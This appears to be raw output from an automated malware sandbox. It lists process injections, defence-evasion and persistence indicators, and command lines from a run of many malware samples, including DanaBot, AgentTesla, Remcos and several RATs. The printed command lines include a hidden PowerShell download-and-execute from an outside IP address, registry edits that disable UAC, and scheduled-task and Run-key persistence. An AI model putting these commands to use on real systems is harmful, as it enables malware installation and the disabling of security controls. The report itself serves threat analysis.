PID 2772 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe
PID 2772 wrote to memory of 1552 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
PID 2772 wrote to memory of 1552 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
PID 2772 wrote to memory of 1552 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
PID 2772 wrote to memory of 1552 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
PID 2772 wrote to memory of 1552 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
PID 2772 wrote to memory of 1552 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
PID 2772 wrote to memory of 1552 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
PID 2772 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\DanaBot.exe
PID 2772 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\DanaBot.exe
PID 2772 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\DanaBot.exe
PID 2772 wrote to memory of 1680 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\DanaBot.exe
PID 2772 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe
PID 2772 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe
PID 2772 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe
PID 2772 wrote to memory of 2920 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe
PID 2772 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\2020.exe
PID 2772 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\2020.exe
PID 2772 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\2020.exe
PID 2772 wrote to memory of 2176 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\2020.exe
PID 2772 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe
PID 2772 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe
PID 2772 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe
PID 2772 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe
PID 2772 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe
PID 2772 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe
PID 2772 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe
PID 2772 wrote to memory of 444 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe
PID 2772 wrote to memory of 2424 N/A C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe

System policy modification

defense_evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr N/A

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Views/modifies file attributes

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe N/A

Processes

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\taskhost.exe

"taskhost.exe"

C:\Windows\system32\Dwm.exe

"C:\Windows\system32\Dwm.exe"

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}

C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe

"C:\Users\Admin\AppData\Local\Temp\07881667044b72b47a906d99ca3522e12c6cbad62b5e2e6db7930504f604366a.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAZgBxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGIAYgByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABpAGQAIAB5AG8AdQAgAGsAbgBvAHcAIAB5AG8AdQAnACcAcgBlACAAZgB1AGMAawBlAGQAIAB3AGkAdABoACAAYQAgAHMAaABpAHQAIAB0AG8AbgAgAG8AZgAgAFIAQQBUACAAZgBhAG0AaQBsAGkAZQBzAD8AIABPAGgAIAB3AGUAbABsACwAIABlAG4AagBvAHkAIAB0AGgAZQAgAG0AYQB5AGgAZQBtACEAJwAsACcAJwAsACcATwBLACcALAAnAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAnACkAPAAjAHUAdQBxACMAPgA="

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "1693094551-890928033151256012-10401431761485668371708912483-435184132551764672"

C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe

"C:\Users\Admin\AppData\Local\Temp\_[MyFamilyPies]Avi.exe"

C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe

"C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe"

C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe

"C:\Users\Admin\AppData\Local\Temp\0a-PORNOSKI.exe"

C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe

"C:\Users\Admin\AppData\Local\Temp\0f8039360c1d7be25ff412cc1d4e2edbd1841bc0336d675b5877a128d5b0f19d.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\proxyt.exe

"C:\Users\Admin\AppData\Local\Temp\proxyt.exe"

C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe

"C:\Users\Admin\AppData\Local\Temp\1aae7dcfcb679f01938f1bfff990a87ccaaa9b9bed05ff85d64cdc7e925b83ef.exe"

C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe

"C:\Users\Admin\AppData\Local\Temp\5d2514a19b4099f082c344112df843b0bdf48c861c4dd81992758a8c10d38351.exe"

C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe

"C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe"

C:\Users\Admin\AppData\Local\Temp\DanaBot.exe

"C:\Users\Admin\AppData\Local\Temp\DanaBot.exe"

C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe

"C:\Users\Admin\AppData\Local\Temp\Discord Nitro Generator and Checker.exe"

C:\Users\Admin\AppData\Local\Temp\2020.exe

"C:\Users\Admin\AppData\Local\Temp\2020.exe"

C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe

"C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe"

C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe

"C:\Users\Admin\AppData\Local\Temp\DevilRAT.exe"

C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe

"C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe"

C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe

C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe C:\Users\Admin 0

C:\Users\Admin\AppData\Roaming\Installer.exe

"C:\Users\Admin\AppData\Roaming\Installer.exe"

C:\Users\Admin\AppData\Local\Temp\goofy.exe

"C:\Users\Admin\AppData\Local\Temp\goofy.exe"

C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe

"C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe" service_service

C:\Users\Admin\AppData\Local\Temp\FutureClient.exe

"C:\Users\Admin\AppData\Local\Temp\FutureClient.exe"

C:\Windows\SysWOW64\regsvr32.exe

C:\Windows\system32\regsvr32.exe -s C:\Users\Admin\AppData\Local\Temp\DanaBot.dll f1 C:\Users\Admin\AppData\Local\Temp\DanaBot.exe@1680

C:\Windows\SysWOW64\rundll32.exe

C:\Windows\SysWOW64\rundll32.exe C:\Users\Admin\AppData\Local\Temp\DanaBot.dll,f0

C:\Users\Admin\AppData\Local\Temp\nigga.exe

"C:\Users\Admin\AppData\Local\Temp\nigga.exe"

C:\Users\Admin\AppData\Local\Temp\amadey.exe

"C:\Users\Admin\AppData\Local\Temp\amadey.exe"

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe"

C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe

"C:\Users\Admin\AppData\Local\Temp\AgentTesla.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 2920 -s 1060

C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX0\RuntimeBroker.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 108 -s 556

C:\ProgramData\a5410c88f1\bween.exe

"C:\ProgramData\a5410c88f1\bween.exe"

C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe

"C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe"

C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe

"C:\Users\Admin\AppData\Local\Temp\CrimsonRAT.exe"

C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe

"C:\Users\Admin\AppData\Local\Temp\EliteMonitor.exe"

C:\Users\Admin\AppData\Local\Temp\Backdoor.Win32.Rbot.aal.exe

"C:\Users\Admin\AppData\Local\Temp\Backdoor.Win32.Rbot.aal.exe"

C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe

"C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe"

C:\Users\Admin\AppData\Local\Temp\2020.exe

"C:\Users\Admin\AppData\Local\Temp\2020.exe"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "9579124821775367255-645659161368818803-1147676403-2140648418-11812748941703184713"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "1839941326-897492253-78956726820228144341523655429-1944721642-252246413-1718722023"

C:\Windows\SysWOW64\sysdmkm.exe

C:\Windows\SysWOW64\sysdmkm.exe

C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe

"C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe"

C:\Users\Admin\AppData\Local\Temp\Discord Free Nitros.exe

"C:\Users\Admin\AppData\Local\Temp\Discord Free Nitros.exe"

C:\Users\Admin\AppData\Local\Temp\Discord Nitro Checker by Unheilgott (1).exe

"C:\Users\Admin\AppData\Local\Temp\Discord Nitro Checker by Unheilgott (1).exe"

C:\Users\Admin\AppData\Local\Temp\2020.exe

"C:\Users\Admin\AppData\Local\Temp\2020.exe"

C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr

"C:\Users\Admin\AppData\Local\Temp\LoveForyou.scr" /S

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-1336125947-158369284019211665763858291922909883031692389755-12577128221266512845"

C:\Users\Admin\AppData\Local\Temp\Lokibot.exe

"C:\Users\Admin\AppData\Local\Temp\Lokibot.exe"

C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe

"C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe"

C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe

"C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe"

C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe

"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"

C:\Users\Admin\AppData\Local\Temp\malware.exe

"C:\Users\Admin\AppData\Local\Temp\malware.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3880 -s 56

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a5410c88f1\

C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe" /S

C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe

"C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe"

C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe

"C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe"

C:\Windows\SysWOW64\reg.exe

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a5410c88f1\

C:\Users\Admin\AppData\Local\Temp\NetWire.exe

"C:\Users\Admin\AppData\Local\Temp\NetWire.exe"

C:\Users\Admin\AppData\Local\Temp\NetWire.exe

"C:\Users\Admin\AppData\Local\Temp\NetWire.exe"

C:\Users\Admin\AppData\Local\Temp\setup-25031953484.exe

C:\Users\Admin\AppData\Local\Temp\\setup-25031953484.exe

C:\Users\Admin\AppData\Local\server.exe

"C:\Users\Admin\AppData\Local\server.exe"

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}

C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe

"C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe"

C:\Users\Admin\AppData\Local\Temp\TEAM BLUE CLIENT.exe

"C:\Users\Admin\AppData\Local\Temp\TEAM BLUE CLIENT.exe"

C:\Users\Admin\AppData\Local\Temp\Remcos.exe

"C:\Users\Admin\AppData\Local\Temp\Remcos.exe"

C:\Windows\SysWOW64\cmd.exe

/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "18069097902002234103-156597085317176811131862545653-933278364-16142382571452171605"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\install.bat" "

C:\Windows\SysWOW64\reg.exe

C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe

"C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe" /S

C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe

"C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe"

C:\Windows\SysWOW64\PING.EXE

PING 127.0.0.1 -n 2

C:\Users\Admin\AppData\Local\Temp\putty.exe

"C:\Users\Admin\AppData\Local\Temp\putty.exe"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "11861603471406922582-31203724619822677711277470047636772578-900135276398345450"

C:\Users\Admin\AppData\Local\Temp\TrollRAT.exe

"C:\Users\Admin\AppData\Local\Temp\TrollRAT.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\451B.tmp\putty.bat" "C:\Users\Admin\AppData\Local\Temp\putty.exe""

C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe

"C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "20172364471946524763-286050711-20553494321288941611-1237295159-1621401407-358302699"

C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe

"C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe"

C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe

"C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c schtasks /create /tn ZXLfkmaXHht /tr "mshta C:\Users\Admin\AppData\Local\Temp\HxopUaX4X.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\SysWOW64\mshta.exe

mshta C:\Users\Admin\AppData\Local\Temp\HxopUaX4X.hta

C:\ProgramData\Synaptics\Synaptics.exe

"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{F32D97DF-E3E5-4CB9-9E3E-0EB5B4E49801}

C:\Windows\SysWOW64\Userdata\Userdata.exe

"C:\Windows\SysWOW64\Userdata\Userdata.exe"

C:\Windows\SysWOW64\cmd.exe

/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Program Files (x86)\Internet Explorer\iexplore.exe

"C:\Program Files (x86)\Internet Explorer\iexplore.exe"

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "366809170-166054052912346377261587809278-1509051029104613323015347977261937338038"

C:\Windows\SysWOW64\cmd.exe

/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "-1594758641-426896833626304998417494611320305984336879084-273028820-2049520792"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;

C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe

"C:\Users\Admin\AppData\Local\Temp\0000005d66af8b05750bd3231458a60857425334f7ee2821a627328fb79084d0.exe"

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /tn ZXLfkmaXHht /tr "mshta C:\Users\Admin\AppData\Local\Temp\HxopUaX4X.hta" /sc minute /mo 25 /ru "Admin" /f

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "1689971060713962838-1394811524-354243202-1647604700-25760211291627978926925064"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c del C:\Users\Admin\AppData\Local\Temp\proxyt.exe > nul

C:\Windows\SysWOW64\reg.exe

C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\Windows\SysWOW64\reg.exe

C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

C:\ProgramData\Hdlharas\dlrarhsiva.exe

"C:\ProgramData\Hdlharas\dlrarhsiva.exe"

C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe

"C:\Users\Admin\AppData\Local\Temp\0a77eae3916dbed61916324dbfeefd337b89acc1613b65d3291923caac3955cb_1.exe"

C:\Windows\SysWOW64\schtasks.exe

"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\nigga.exe" /rl HIGHEST /f

C:\Windows\system32\conhost.exe

\??\C:\Windows\system32\conhost.exe "35120043322699206912461903821862999186-1993409976360176102-1116649164655547959"

C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe

"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\APXPC.bat" "

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\SysWOW64\reg.exe

REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "skypee" /t REG_SZ /d "C:\Windows\Skypee\skypee.exe" /f

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"

C:\Windows\Skypee\skypee.exe

"C:\Windows\Skypee\skypee.exe"

C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE

"C:\Users\Admin\AppData\Local\TempYYQWIWPY3XQQH0RKEC8MD5OYH8MUXBM8.EXE"

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

"C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"

C:\Windows\SysWOW64\schtasks.exe

"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\icoULUjZPSvv.bat" "

C:\Users\Admin\AppData\Local\Temp\a\g354ff43hj67.exe

"C:\Users\Admin\AppData\Local\Temp\a\g354ff43hj67.exe"

C:\Users\Admin\AppData\Local\Temp\a\roblox_protected.exe

"C:\Users\Admin\AppData\Local\Temp\a\roblox_protected.exe"

C:\Users\Admin\AppData\Local\Temp\a\jajajdva.exe

"C:\Users\Admin\AppData\Local\Temp\a\jajajdva.exe"

C:\Users\Admin\AppData\Local\Temp\a\crypted.exe

"C:\Users\Admin\AppData\Local\Temp\a\crypted.exe"

C:\Users\Admin\AppData\Local\Temp\a\crypted.exe

"C:\Users\Admin\AppData\Local\Temp\a\crypted.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 7352 -s 512

C:\Users\Admin\AppData\Local\Temp\a\system.exe

"C:\Users\Admin\AppData\Local\Temp\a\system.exe"

C:\Users\Admin\AppData\Local\Temp\a\setup.exe

"C:\Users\Admin\AppData\Local\Temp\a\setup.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"

C:\Windows\System32\attrib.exe

"C:\Windows\System32\attrib.exe" +s +h "C:\Users\Admin\AppData\Roaming\sdsdasd"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "dJ3H492fymd.exe" /tr '"C:\Users\Admin\AppData\Local\Temp\TkEsyhMyLtSDFBh\dJ3H492fymd.exe.exe"' & exit

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "'Minecraft"' /tr "'C:\Users\Admin\AppData\Roaming\Minecraft.exe"'

C:\Windows\SysWOW64\chcp.com

chcp 65001

